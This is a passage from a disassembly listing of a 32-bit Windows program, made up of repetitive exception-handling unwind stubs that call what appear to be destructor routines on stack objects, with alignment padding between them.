sub_401AE6 ; --------------------------------------------------------------------------- loc_439338: ; DATA XREF: ___:0043F7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E50 proc near ; DATA XREF: sub_403E50+2o mov eax, offset dword_43F7D0 jmp sub_437AB8 SEH_403E50 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_4393B8: ; DATA XREF: ___:0043F85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F30 proc near ; DATA XREF: sub_403F30+2o mov eax, offset dword_43F830 jmp sub_437AB8 SEH_403F30 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404010 proc near ; DATA XREF: sub_404010+2o mov eax, offset dword_43F890 jmp sub_437AB8 SEH_404010 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F8: ; DATA XREF: ___:0043F974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404690 proc near ; DATA XREF: sub_404690+2o mov eax, offset dword_43F948 jmp sub_437AB8 SEH_404690 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043F9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439586: ; DATA XREF: ___:0043FA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o mov eax, offset dword_43F9D0 jmp sub_437AB8 SEH_404CC0 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439820: ; DATA XREF: ___:0043FBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43983E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43983E: ; CODE XREF: ___:00439830j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406730 proc near ; DATA XREF: sub_406730+2o mov eax, offset dword_43FBA8 jmp sub_437AB8 SEH_406730 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439860: ; DATA XREF: ___:0043FC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439884 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439884: ; CODE XREF: ___:00439876j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o mov eax, offset dword_43FBE0 jmp sub_437AB8 SEH_4068E0 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 90C84D8Dh, 0C5574CE9h db 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409660 proc near ; DATA XREF: sub_409660+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A370 proc near ; DATA XREF: sub_40A370+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A370 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A510 proc near ; DATA XREF: sub_40A510+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A510 endp ; --------------------------------------------------------------------------- align 10h dd 0E9C84D8Dh, 75C556CDh db 80h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA32o mov eax, offset byte_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B070 proc near ; DATA XREF: sub_40B070+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B070 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B190 proc near ; DATA XREF: sub_40B190+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B190 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B250 proc near ; DATA XREF: sub_40B250+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B510 proc near ; DATA XREF: sub_40B510+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6D2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9B8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C440 proc near ; DATA XREF: sub_40C440+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C440 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4E0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBF0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC90 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF40 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFC2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D210 proc near ; DATA XREF: sub_40D210+2o mov eax, offset dword_440520 jmp sub_437AB8 SEH_40D210 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D660 proc near ; DATA XREF: sub_40D660+2o mov eax, offset dword_440568 jmp sub_437AB8 SEH_40D660 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DC20 proc near ; DATA XREF: sub_40DC20+2o mov eax, offset dword_4405D8 jmp sub_437AB8 SEH_40DC20 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A228: ; DATA XREF: ___:0044069Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E2F0 proc near ; DATA XREF: sub_40E2F0+2o mov eax, offset dword_440670 jmp sub_437AB8 SEH_40E2F0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A278: ; DATA XREF: ___:004406F4o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E870 proc near ; DATA XREF: sub_40E870+2o mov eax, offset dword_4406C8 jmp sub_437AB8 SEH_40E870 